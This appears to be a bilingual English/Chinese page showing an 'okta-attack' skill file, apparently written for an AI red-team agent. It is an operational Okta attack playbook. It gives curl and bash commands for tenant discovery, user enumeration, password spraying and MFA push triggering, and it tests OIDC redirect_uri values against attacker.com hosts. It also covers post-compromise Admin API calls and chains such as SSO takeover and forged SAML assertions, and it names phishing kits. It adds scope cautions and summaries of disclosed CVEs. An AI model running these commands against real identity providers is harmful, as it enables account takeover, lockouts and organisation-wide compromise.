Back to Details

okta-attack

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

When to use this skill

何时使用此 skill

Trigger when:
  • DNS shows 
    <tenant>.okta.com
    or 
    <tenant>.okta-emea.com
    (EMEA region)
  • Login flow redirects to 
    <tenant>.okta.com/login
    or 
    /app/<app_id>/sso/saml
  • Web pages reference 
    /signin/customize
    , 
    oktapreview.com
    , or 
    auth-js-sdk
  • Recon notes "uses Okta for SSO"
  • A target has 
    *.okta.com
    SAN in TLS cert
  • Identity-fabric mapping returns Okta as IdP for a corporate app
DO NOT use for:
  • Entra ID (use 
    m365-entra-attack
    instead)
  • Google Workspace (use 
    google-workspace-attack
    — not yet built)
  • ADFS (different protocol, on-prem)
触发条件：
  • DNS 显示 
    <tenant>.okta.com
    或 
    <tenant>.okta-emea.com
    （EMEA 区域）
  • 登录流程重定向至 
    <tenant>.okta.com/login
    或 
    /app/<app_id>/sso/saml
  • 网页引用 
    /signin/customize
    、
    oktapreview.com
    或 
    auth-js-sdk
  • 侦察记录显示“uses Okta for SSO”
  • 目标的 TLS 证书中存在 
    *.okta.com
    SAN
  • 身份结构映射（identity-fabric mapping）返回 Okta 作为企业应用的 IdP
不要用于：
  • Entra ID（改用 
    m365-entra-attack
    ）
  • Google Workspace（改用 
    google-workspace-attack
    ——尚未构建）
  • ADFS（协议不同，属于本地部署）

Tenant discovery

租户发现

Direct guesses

直接猜测

bash
undefined
bash
undefined

Tenant subdomains often match the brand

Tenant subdomains often match the brand

Replace these with your target's actual tenant slug candidates:

Replace these with your target's actual tenant slug candidates:

for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do for region in okta okta-emea oktapreview; do host="$tenant.$region.com" code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/") [ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code" done done
undefined
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do for region in okta okta-emea oktapreview; do host="$tenant.$region.com" code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/") [ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code" done done
undefined

Cross-ref from DNS

从 DNS 交叉查询

bash
undefined
bash
undefined

Look for CNAME records pointing to Okta

Look for CNAME records pointing to Okta

Replace with your target's actual domains:

Replace with your target's actual domains:

for domain in client.example client-ltd.example; do dig +short "sso.$domain" CNAME dig +short "login.$domain" CNAME dig +short "auth.$domain" CNAME dig +short "okta.$domain" CNAME done
undefined
for domain in client.example client-ltd.example; do dig +short "sso.$domain" CNAME dig +short "login.$domain" CNAME dig +short "auth.$domain" CNAME dig +short "okta.$domain" CNAME done
undefined

Cross-ref from app HTTP flow

从应用 HTTP 流程交叉验证

bash
undefined
bash
undefined

Visit corporate-app login, follow redirects

Visit corporate-app login, follow redirects

curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"

If redirects to <something>.okta.com → confirmed Okta tenant

If redirects to <something>.okta.com → confirmed Okta tenant


---

---

User enumeration

用户枚举

Method 1 — 
/api/v1/authn
differential

方法 1——
/api/v1/authn
差异

The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.
bash
undefined
身份验证 API 对无效用户和无效密码会返回不同的错误。差异较小。
bash
undefined

Probe single user — DON'T spray, this counts as auth attempt!

Probe single user — DON'T spray, this counts as auth attempt!

curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn"
-H "Content-Type: application/json"
-d '{"username":"<email>","password":"_test_invalid_pw"}'
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn"
-H "Content-Type: application/json"
-d '{"username":"<email>","password":"_test_invalid_pw"}'

Response codes:

Response codes:

401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)

401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)

401 + "errorCode":"E0000119" → account locked

401 + "errorCode":"E0000119" → account locked

200 → MFA prompt (cred VALID, MFA needed)

200 → MFA prompt (cred VALID, MFA needed)

200 + "status":"SUCCESS" → full auth (rare in modern setups)

200 + "status":"SUCCESS" → full auth (rare in modern setups)


⚠ Okta has hardened against direct user-existence enum via `/api/v1/authn` — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.

⚠ Okta 已强化对通过 `/api/v1/authn` 直接进行用户存在性枚举的防护——错误消息通常统一为“Authentication failed”。2024 年以后，通过此端点进行用户枚举并不可靠。

Method 2 — 
/api/v1/users/me/factors
timing

方法 2——
/api/v1/users/me/factors
响应时间

Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.
某些流程会通过响应时间差异暴露用户是否存在。其可靠性低于 M365 OneDrive 技术。

Method 3 — Sign-in widget JS endpoint

方法 3——登录组件 JS 端点

bash
curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
bash
curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"

Response varies by tenant config

Response varies by tenant config

undefined
undefined

Method 4 — Org-specific identifier probing

方法 4——探测组织特有的标识符

Some Okta orgs use email-as-username; others use 
firstname.lastname
or employee-id. Test pattern guesses:
firstname.lastname@target.com
firstname_lastname@target.com  
flastname@target.com
employeeID@target.com
部分 Okta 组织使用邮箱作为用户名；其他组织则使用 
firstname.lastname
或员工 ID。测试以下模式猜测：
firstname.lastname@target.com
firstname_lastname@target.com  
flastname@target.com
employeeID@target.com

Method 5 — OIDC 
/v1/authorize
with login_hint

方法 5——使用 
login_hint
请求 OIDC 
/v1/authorize

bash
undefined
bash
undefined

Tampering with login_hint param can reveal user existence on some configs

Tampering with login_hint param can reveal user existence on some configs

curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"

Different redirect → user exists vs doesn't

Different redirect → user exists vs doesn't


---

---

Authentication flow analysis (always do this first)

身份验证流程分析（始终先执行此步骤）

bash
undefined
bash
undefined

Initial auth — observe what factors come back

Initial auth — observe what factors come back

curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn"
-H "Content-Type: application/json"
-d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool

Response structure reveals factor configuration:
```json
{
  "stateToken": "00ABC...",
  "factorResult": "WAITING",
  "status": "MFA_REQUIRED",
  "_embedded": {
    "factors": [
      {"factorType": "push", "provider": "OKTA"},
      {"factorType": "token:software:totp", "provider": "OKTA"},
      {"factorType": "sms", "provider": "OKTA"},
      {"factorType": "call", "provider": "OKTA"},
      {"factorType": "email", "provider": "OKTA"},
      {"factorType": "question", "provider": "OKTA"},
      {"factorType": "webauthn", "provider": "FIDO"}
    ]
  }
}
Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:
  • webauthn
    (FIDO2) — phishing-resistant
  • question
    (security questions) — extremely weak; KBA attacks
  • sms
    / 
    call
    — phishing-able (push notification fatigue, SIM swap)
  • push
    — phishing-able via MFA fatigue
  • email
    — phishing-able if attacker has email read access
  • totp
    — phishing-able via AiTM
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn"
-H "Content-Type: application/json"
-d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool

响应结构会揭示因素配置：
```json
{
  "stateToken": "00ABC...",
  "factorResult": "WAITING",
  "status": "MFA_REQUIRED",
  "_embedded": {
    "factors": [
      {"factorType": "push", "provider": "OKTA"},
      {"factorType": "token:software:totp", "provider": "OKTA"},
      {"factorType": "sms", "provider": "OKTA"},
      {"factorType": "call", "provider": "OKTA"},
      {"factorType": "email", "provider": "OKTA"},
      {"factorType": "question", "provider": "OKTA"},
      {"factorType": "webauthn", "provider": "FIDO"}
    ]
  }
}
**关键洞察：**因素列表会揭示可用的认证因素——其抗钓鱼能力差异极大：
  • webauthn
    （FIDO2）——抗钓鱼
  • question
    （安全问题）——极其脆弱；容易遭受 KBA 攻击
  • sms
    / 
    call
    ——可被钓鱼利用（推送通知疲劳、SIM 卡劫持）
  • push
    ——可通过 MFA 疲劳进行钓鱼利用
  • email
    ——如果攻击者拥有邮箱读取权限，则可被钓鱼利用
  • totp
    ——可通过 AiTM 进行钓鱼利用

Password spray (with Okta-specific lockout discipline)

密码喷洒（遵循 Okta 特有的锁定规范）

Lockout policy

锁定策略

Okta default: 10 failed sign-ins → lockout (configurable per-org). Some orgs configure much stricter (3 fails).
Discipline:
  • ≤2 attempts per user lifetime per engagement (safer than 1 in Entra because Okta lockout is sometimes 3 fails)
  • Track per-user in atomic state file
  • Stop on first valid hit OR if LOCKED rate exceeds threshold
Okta 默认值：10 次登录失败 → 锁定（每个组织可配置）。部分组织配置得严格得多（3 次失败即锁定）。
操作规范：
  • 每次演练的整个周期内，每个用户最多尝试 ≤2 次（比在 Entra 中仅尝试 1 次更安全，因为 Okta 有时在 3 次失败后就会锁定）
  • 在原子状态文件中按用户跟踪
  • 首次命中有效凭据时停止，或当 LOCKED 比率超过阈值时停止

Spray endpoint

喷洒端点

bash
undefined
bash
undefined

Same /api/v1/authn — see authentication flow above

Same /api/v1/authn — see authentication flow above

undefined
undefined

Status codes to watch for

需要关注的响应代码

ResponseMeaning
200 status=MFA_REQUIRED
Password is VALID — MFA challenge waiting
200 status=SUCCESS + sessionToken
Full auth (only if MFA not required for this user)
200 status=PASSWORD_EXPIRED
Password is VALID but user must change it
200 status=LOCKED_OUT
Account locked (pre-existing or our cause)
401 E0000004
Authentication failed (user doesn't exist OR wrong password — Okta unifies)
401 E0000119
User is locked
429
Rate-limit hit
响应含义
200 status=MFA_REQUIRED
密码有效——正在等待 MFA 质询
200 status=SUCCESS + sessionToken
完成身份验证（仅当该用户不需要 MFA 时）
200 status=PASSWORD_EXPIRED
密码有效，但用户必须修改密码
200 status=LOCKED_OUT
账户已锁定（原本就锁定或由本次操作导致）
401 E0000004
身份验证失败（用户不存在或密码错误——Okta 会将两者统一处理）
401 E0000119
用户已锁定
429
已触发速率限制

Push-notification fatigue (MFA bombing)

推送通知疲劳（MFA 轰炸）

If a valid password is obtained and 
push
factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.
⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.
如果已获得有效密码且 
push
因素可用，可使用经典攻击：持续触发 push 因素，直到用户因疲劳而接受。
⚠ 大多数红队演练中不在范围内（这属于社会工程或钓鱼，例如钓鱼已被明确列为 OOS）。应记录该向量是否存在，但未经明确批准不得执行。

Detection-only check (does target allow it?)

仅检测检查（目标是否允许？）

bash
undefined
bash
undefined

Initiate factor verification

Initiate factor verification

curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify"
-H "Content-Type: application/json"
-d '{"stateToken":"<from_authn>"}'
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify"
-H "Content-Type: application/json"
-d '{"stateToken":"<from_authn>"}'

A real test would loop this — DON'T do that without explicit OK

A real test would loop this — DON'T do that without explicit OK


---

---

OIDC redirect_uri tampering

OIDC redirect_uri 篡改

Okta OIDC apps often have a list of allowed 
redirect_uri
values. Misconfigurations:
bash
undefined
Okta OIDC 应用通常有一组允许使用的 
redirect_uri
值。常见配置错误：
bash
undefined

Get the app's authorize endpoint

Get the app's authorize endpoint

curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool
curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool

Test redirect_uri injection

Test redirect_uri injection

for ruri in
"https://attacker.example.com/"
"https://target.com.attacker.com/"
"https://target.com@attacker.com/"
"https://target.com#@attacker.com/"
"https://target.com\\@attacker.com/"
"//attacker.com/"
"https://target.com/cb?next=https://attacker.com/"; do code=$(curl -sk -o /dev/null -w "%{http_code}"
"https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")") echo " $ruri → $code" done
for ruri in
"https://attacker.example.com/"
"https://target.com.attacker.com/"
"https://target.com@attacker.com/"
"https://target.com#@attacker.com/"
"https://target.com\@attacker.com/"
"//attacker.com/"
"https://target.com/cb?next=https://attacker.com/"; do code=$(curl -sk -o /dev/null -w "%{http_code}"
"https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")") echo " $ruri → $code" done

Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain

Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain


---

任何返回 302 且 Location 标头中包含攻击者 URL 的响应，都意味着开放重定向 → 认证码窃取链。

---

SAML SP misconfiguration check (per-app)

SAML SP 配置错误检查（逐应用执行）

Each Okta SAML app has its own SP metadata:
bash
undefined
每个 Okta SAML 应用都有自己的 SP 元数据：
bash
undefined

Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)

Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)

curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"
curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"

Look for:

Look for:

AuthnRequestsSigned="false" ← see hunt-saml for XSW

AuthnRequestsSigned="false" ← see hunt-saml for XSW

WantAssertionsSigned="false" ← assertion-replay possible

WantAssertionsSigned="false" ← assertion-replay possible

<NameIDFormat>...emailAddress</NameIDFormat>

<NameIDFormat>...emailAddress</NameIDFormat>


---

---

Okta Admin API (post-cred-compromise)

Okta Admin API（凭据攻陷后）

If a valid cred + MFA-completed token is obtained:
bash
undefined
如果已获得有效凭据和已完成 MFA 的 token：
bash
undefined

Get session token

Get session token

curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn"
-d '{"username":"...","password":"..."}'
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn"
-d '{"username":"...","password":"..."}'

→ if SUCCESS, response has sessionToken

→ if SUCCESS, response has sessionToken

Exchange for API token (admin only)

Exchange for API token (admin only)

Test admin endpoints (all require valid SSWS token):

Test admin endpoints (all require valid SSWS token):

curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users" curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups" curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps" curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs" # audit log

---
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users" curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups" curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps" curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs" # audit log

---

Okta-specific phishing kits (informational — OOS for non-phishing engagements)

Okta 特有钓鱼工具包（仅供参考——非钓鱼演练时属于 OOS）

  • EvilProxy — Okta-aware AiTM kit
  • Modlishka — generic AiTM
  • Evilginx2 — has Okta phishlets
Document existence; do not deploy without explicit phishing scope.
  • EvilProxy——支持 Okta 的 AiTM 工具包
  • Modlishka——通用 AiTM
  • Evilginx2——包含 Okta phishlet
记录这些工具的存在；但没有明确的钓鱼范围授权时不得部署。

FastPass / Okta Verify abuse

FastPass / Okta Verify 滥用

Okta FastPass is push-based + device-bound. Bypasses:
  • Device trust spoofing (requires kit + endpoint compromise — internal-only)
  • Push fatigue (see above)
  • Phishing redirect to fake FastPass prompt
Okta FastPass 基于推送且绑定设备。可利用点：
  • 设备信任伪装（需要工具包和终端失陷——仅限内部）
  • 推送疲劳（见上文）
  • 通过钓鱼重定向至伪造的 FastPass 提示

Common Okta tenant configuration patterns

常见的 Okta 租户配置模式

IndicatorConfiguration
<tenant>.okta.com/api/v1/iam/orgs
returns 401 (not 404)		API IAM endpoints enabled — admin attack surface
customize/sign-in
page reachable anon		Tenant brand customization is public — useful intel
Multiple 
*.okta.com
SAN certs		Multi-tenant org (less common)
oktapreview.com
subdomain		Preview/sandbox tenant — typically weaker security
指标配置
<tenant>.okta.com/api/v1/iam/orgs
返回 401（而非 404）		已启用 API IAM 端点——构成管理员攻击面
customize/sign-in
页面可匿名访问		租户品牌自定义页面公开——可提供有价值的情报
多个 
*.okta.com
SAN 证书		多租户组织（较少见）
oktapreview.com
子域名		预览或沙箱租户——通常安全性更弱

Tooling

工具

  • OktaTerrify
     (github.com/silverhack/OktaTerrify) — post-compromise Okta device-trust / FastPass enumeration. The only verifiable public Okta-specific offensive tool; no other named, maintained "okta-attacker"/"okta-toolkit" utility is verifiable — build engagement-specific scripts against 
    /api/v1/*
    instead of citing unverified tool names.
  • OktaTerrify
    （github.com/silverhack/OktaTerrify）——用于凭据攻陷后的 Okta 设备信任或 FastPass 枚举。这是唯一可验证的公开 Okta 专用进攻工具；目前无法验证其他具名且仍在维护的“okta-attacker”或“okta-toolkit”实用工具——应针对 
    /api/v1/*
    构建演练专用脚本，而不要引用未经验证的工具名称。

Anti-patterns

反模式

  • DO NOT use Entra-style spray pace on Okta — Okta's anti-automation is tuner-different; rate-limit hits faster
  • DO NOT skip factor enumeration — knowing the factor list before attempting spray informs the realistic threat model
  • DO NOT assume MFA-fatigue is in scope — it's social engineering; explicit OK required
  • DO NOT confuse 
    *.oktapreview.com
    with production     — preview is a non-prod tenant, findings have different severity
  • 不要在 Okta 上使用 Entra 式喷洒节奏——Okta 的反自动化调优方式不同；触发速率限制的速度更快
  • 不要跳过因素枚举——在尝试喷洒前了解因素列表，有助于建立现实的威胁模型
  • 不要假定 MFA 疲劳攻击在范围内——它属于社会工程；必须获得明确批准
  • 不要混淆 
    *.oktapreview.com
    与生产环境    ——预览环境是非生产租户，发现问题的严重性也不同

Bridge to neighboring skills

桥接至相邻 skill

  • m365-entra-attack
    — sibling skill for the M365 case; identical mental model
  • hunt-oauth
    — OIDC redirect_uri tampering, state attack, PKCE bypass
  • hunt-saml
    — XSW / signature-stripping for per-app SAML SP
  • hunt-mfa-bypass
    — push fatigue, OTP brute, replay
  • mid-engagement-ir-detection
    — Okta SOC dashboards are sensitive; expect mitigations during testing
  • m365-entra-attack
    ——M365 场景对应的同级 skill；采用相同的思维模型
  • hunt-oauth
    ——OIDC redirect_uri 篡改、state 攻击、PKCE 绕过
  • hunt-saml
    ——针对逐应用 SAML SP 的 XSW 或签名剥离
  • hunt-mfa-bypass
    ——推送疲劳、OTP 暴力破解、重放
  • mid-engagement-ir-detection
    ——Okta SOC 仪表板对测试非常敏感；预计测试期间会触发缓解措施

Anti-pattern: Okta user enumeration in 2024+

反模式：2024 年以后的 Okta 用户枚举

Several techniques publicly documented through 2022 (e.g., 
/api/v1/authn
differential errors) have been hardened. Don't rely on stale knowledge — confirm enumeration vector freshness on each engagement by:
  1. Testing 1 known-existing username (e.g. 
    info@<domain>
    if reachable)
  2. Testing 1 known-not-existing username
  3. Comparing responses byte-by-byte and timing
If responses are identical, the vector is hardened — pivot to OneDrive-equivalent or different approach.
截至 2022 年公开记录的若干技术，例如 
/api/v1/authn
差异错误，已经得到强化。不要依赖过时知识——每次演练都应通过以下方式确认枚举向量的时效性：
  1. 测试 1 个已知存在的用户名（例如，如果可以获取，则使用 
    info@<domain>
    ）
  2. 测试 1 个已知不存在的用户名
  3. 逐字节比较响应并对比耗时
如果响应完全一致，则说明该向量已被强化——应转向类似 OneDrive 的方法或其他方案。

Disclosed cases / CVEs / coordinated-disclosure writeups

已披露案例 / CVE / 协同披露文章

These are the canonical public references that justify the techniques in this skill. Cite them in reports when applicable and use them as analog cases when scoping novel Okta attack chains.
以下是证明此 skill 中各项技术的权威公开参考资料。适用时应在报告中引用，并将其作为界定新 Okta 攻击链范围时的类比案例。

1. Okta + Sitel/Sykes — LAPSUS$ supply-chain breach (Jan 2022, disclosed Mar 2022)

1. Okta + Sitel/Sykes——LAPSUS$ 供应链入侵（2022 年 1 月，2022 年 3 月披露）

2. Okta Customer Support HAR-file leak (Sep-Oct 2023)

2. Okta 客户支持 HAR 文件泄露（2023 年 9 月至 10 月）

3. Scattered Spider / Octo Tempest / UNC3944 — Okta tenant social-engineering campaign (2022-2024, ongoing)

3. Scattered Spider / Octo Tempest / UNC3944——Okta 租户社会工程活动（2022—2024 年，持续进行）

4. Okta cross-origin authentication credential stuffing (Apr-May 2024)

4. Okta 跨源身份验证凭据填充（2024 年 4 月至 5 月）

5. CVE-2024-0981 — Okta AD/LDAP DelAuth bcrypt cache-key auth bypass (Oct 2024)

5. CVE-2024-0981——Okta AD/LDAP DelAuth bcrypt 缓存键身份验证绕过（2024 年 10 月）

6. Okta Verify iOS push-response bypass (CVE-2024-10327, disclosed Oct 2024)

6. Okta Verify iOS 推送响应绕过（CVE-2024-10327，2024 年 10 月披露）

  • Refs: https://trust.okta.com/security-advisories/okta-verify-for-ios-cve-2024-10327/
  • Flow: Okta Verify iOS 9.25.1-beta / 9.27.0 had a bug in the iOS ContextExtension push-action handler. From the lock screen long-press / drag-down banner / Apple Watch reply path, both the "Yes, it's me" and "No, it's not me" buttons returned the same accept-auth response. A push-fatigued user who explicitly tapped "No" still approved the auth.
  • Root cause: Two notification-response action handlers wired to the same backend confirmation path — UX-level Deny did not propagate as a backend rejection.
  • Year: 2024. Severity: High (silently defeats the user's last line of defence against push fatigue / Scattered-Spider-style push bombing).
  • 参考：https://trust.okta.com/security-advisories/okta-verify-for-ios-cve-2024-10327/
  • 流程：Okta Verify iOS 9.25.1-beta / 9.27.0 的 iOS ContextExtension 推送操作处理器存在缺陷。从锁屏长按、下拉横幅或 Apple Watch 回复路径触发时，“Yes, it's me”和“No, it's not me”两个按钮都会返回相同的接受身份验证响应。遭遇推送疲劳的用户即使明确点击“No”，仍会批准此次身份验证。
  • 根因：两个通知响应操作处理器连接到同一后端确认路径——UX 层面的拒绝未传递为后端拒绝。
  • 年份：2024 年。严重性：高（会悄无声息地破坏用户抵御推送疲劳或 Scattered Spider 式推送轰炸的最后一道防线）。

7. Varonis Threat Labs — "CrossTalk" + "Secret Agent" Okta abuse (Jan 2023)

7. Varonis Threat Labs——“CrossTalk”与“Secret Agent” Okta 滥用（2023 年 1 月）

  • Refs: https://www.varonis.com/blog/okta-attack-vectors
  • Flow: (a) CrossTalk: any Okta tenant admin (incl. free-developer tenant) could issue SMS / email templates that delivered to any email/phone — sent via legitimate Okta mailer infrastructure (passes SPF/DKIM/DMARC for okta.com). Used to stage cross-tenant phishing that arrives from a trusted sender. (b) Secret Agent: the SSWS token stored on the on-prem Okta AD-agent sync server was decryptable from disk; possessor could register a rogue AD agent that intercepted DelAuth plaintext credentials for the entire org.
  • Root cause: (a) Tenant-bounded sender identity not enforced on outbound notification API. (b) Agent SSWS bootstrap-secret stored recoverable on disk; new-agent enrollment did not require admin co-signature.
  • Year: 2023. Severity: High for both. Disclosed and patched by Okta.
  • 参考：https://www.varonis.com/blog/okta-attack-vectors
  • 流程：（a）CrossTalk：任何 Okta 租户管理员，包括免费开发者租户管理员，都可以创建向任意电子邮件或电话号码发送的 SMS 或 email 模板——这些消息通过合法的 Okta 邮件发送基础设施投递（通过 okta.com 的 SPF/DKIM/DMARC 检查）。该能力可用于准备跨租户钓鱼，使钓鱼内容看起来来自可信发件人。（b）Secret Agent：存储在本地 Okta AD-agent 同步服务器上的 SSWS token 可从磁盘中解密；持有者可以注册恶意 AD agent，截获整个组织的 DelAuth 明文凭据。
  • 根因：（a）出站通知 API 未强制执行租户边界内的发件人身份。（b）Agent SSWS 引导密钥可从磁盘中恢复；新 Agent 注册不需要管理员共同签名。
  • 年份：2023 年。两者的严重性均为高。Okta 已披露并修复。

8. Okta admin-console session cookie theft via stealer malware (2022-2024, ongoing class)

8. 通过窃密恶意软件盗取 Okta 管理控制台会话 cookie（2022—2024 年，持续存在的攻击类别）

Take-aways for hunters

给威胁狩猎者的要点

  • The 2022 LAPSUS$, 2023 HAR-file, and 2023 Scattered Spider campaigns share a pattern: the attack rarely hits Okta's product code — it hits the trust relationships around Okta (third-party support, help-desk verification, customer-uploaded artifacts, federated IdPs). Recon should map these trust edges first.
  • CVE-2024-0981 (bcrypt 72-byte truncation) is the rare pure-product Okta CVE — most disclosed Okta bugs are configuration or operational.
  • Push fatigue is not just social engineering — the Okta Verify iOS bug shows the platform itself can silently approve a denied push. Treat any Okta push factor as bypassable in 2024+.
  • For red-team scoping: HAR-file replay, inbound-federation IdP injection, and stealer-cookie replay are the three highest-yield post-recon primitives observed in the wild.
  • 2022 年的 LAPSUS$、2023 年的 HAR 文件事件和 2023 年的 Scattered Spider 活动存在一个共同模式：攻击很少直接利用 Okta 的产品代码，而是利用 Okta 周围的信任关系（第三方支持、帮助台验证、客户上传的制品、联合 IdP）。侦察时应优先绘制这些信任边。
  • CVE-2024-0981（bcrypt 72 字节截断）是少见的纯 Okta 产品 CVE——大多数已披露的 Okta 漏洞都与配置或运营有关。
  • 推送疲劳不只是社会工程——Okta Verify iOS 漏洞表明，平台本身也可能静默批准用户已拒绝的推送。2024 年以后，应将任何 Okta push 因素都视为可能被绕过。
  • 在红队范围界定方面，HAR 文件重放、入站联合 IdP 注入和窃密 cookie 重放，是实际攻击中侦察后收益最高的三种基础手段。

Related Skills & Chains

相关 Skill 与攻击链

  • hunt-subdomain
     — Okta tenant naming patterns (
    <org>.okta.com
    , 
    <org>.oktapreview.com
    , 
    <org>-admin.okta.com
    ) frequently include orphan/dev tenants. Chain primitive: Okta tenant discovery via 
    /.well-known/okta-organization
    → enumerate 
    <org>-dev
    , 
    <org>-uat
    , 
    <org>-test
    subdomains → 
    hunt-subdomain
    orphan-tenant identification → claim abandoned tenant → SSO takeover (legitimate 
    <org>
    users redirected through compromised IdP for any app federated to the dev tenant).
  • m365-entra-attack
     — Okta-as-IdP for M365 is common in hybrid orgs. Chain primitive: 
    okta-attack
    user enumeration + spray succeeds on Okta tenant → Okta is federated to Entra → SAML assertion issued by compromised Okta user → full M365 access without ever touching 
    login.microsoftonline.com
    directly (bypasses Entra Conditional Access in many configurations).
  • hunt-saml
     — Okta issues SAML assertions to every federated downstream app. Chain primitive: Okta admin or developer credential captured → mint arbitrary SAML assertions in Okta admin → 
    hunt-saml
    XSW or signature manipulation not even needed — legitimately signed assertions for arbitrary impersonation across every federated app (Salesforce, Workday, AWS, GitHub, M365).
  • hunt-mfa-bypass
     — Okta supports multiple factors with varying enforcement. Chain primitive: Okta password sprayed → MFA challenge → 
    hunt-mfa-bypass
    factor-downgrade (push-fatigue, SMS fallback, voice fallback, security-question fallback) → bypass to authenticated session.
  • triage-validation
     — Okta findings can be high-impact but need the 7-Question Gate run on whether the captured artifact (token, code, factor) actually grants meaningful access. Chain primitive: validated Okta primitive → 
    triage-validation
    to confirm access plane → 
    redteam-report-template
    with explicit federated-app blast-radius.
  • hunt-subdomain
    ——Okta 租户命名模式（
    <org>.okta.com
    、
    <org>.oktapreview.com
    、
    <org>-admin.okta.com
    ）经常包含孤立或开发租户。攻击链基础手段：通过 
    /.well-known/okta-organization
    发现 Okta 租户 → 枚举 
    <org>-dev
    、
    <org>-uat
    、
    <org>-test
    子域名 → 使用 
    hunt-subdomain
    识别孤立租户 → 认领被遗弃的租户 → 接管 SSO（合法 
    <org>
    用户会被重定向至已失陷的 IdP，从而影响所有与开发租户联合的应用）。
  • m365-entra-attack
    ——混合组织中通常以 Okta 作为 M365 的 IdP。攻击链基础手段：
    okta-attack
    中的用户枚举和喷洒在 Okta 租户上成功 → Okta 与 Entra 联合 → 受失陷 Okta 用户影响而签发 SAML 断言 → 无需直接接触 
    login.microsoftonline.com
    即可完全访问 M365（在许多配置中可绕过 Entra Conditional Access）。
  • hunt-saml
    ——Okta 会为每个联合的下游应用签发 SAML 断言。攻击链基础手段：获取 Okta 管理员或开发者凭据 → 在 Okta 管理员界面中签发任意 SAML 断言 → 甚至不需要 
    hunt-saml
    的 XSW 或签名操纵——合法签发的断言即可在所有联合应用中冒充任意身份（Salesforce、Workday、AWS、GitHub、M365）。
  • hunt-mfa-bypass
    ——Okta 支持多种因素，其执行强度各不相同。攻击链基础手段：Okta 密码喷洒成功 → 触发 MFA 质询 → 使用 
    hunt-mfa-bypass
    降低因素等级（推送疲劳、SMS 回退、语音回退、安全问题回退）→ 绕过质询并获得已认证会话。
  • triage-validation
    ——Okta 发现项可能影响重大，但需要通过 7-Question Gate，判断捕获的制品（token、代码或因素）是否确实能授予有意义访问权限。攻击链基础手段：验证 Okta 基础手段 → 使用 
    triage-validation
    确认访问面 → 使用 
    redteam-report-template
    并明确说明联合应用的影响范围。